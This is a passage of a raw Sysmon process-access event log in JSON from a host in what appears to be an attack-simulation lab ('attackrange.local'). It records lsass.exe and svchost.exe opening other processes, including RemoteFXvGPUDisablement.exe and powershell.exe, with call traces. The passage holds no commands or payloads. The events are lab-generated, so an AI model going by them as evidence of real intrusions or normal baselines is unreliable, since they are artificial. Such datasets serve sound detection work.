\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.906","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":998,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.000\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001054400100}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.000","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001054400100}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":999,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.000\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001054400100}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.000","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001054400100}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1000,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001054400100}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001054400100}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1001,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1002,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1003,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1004,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1005,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 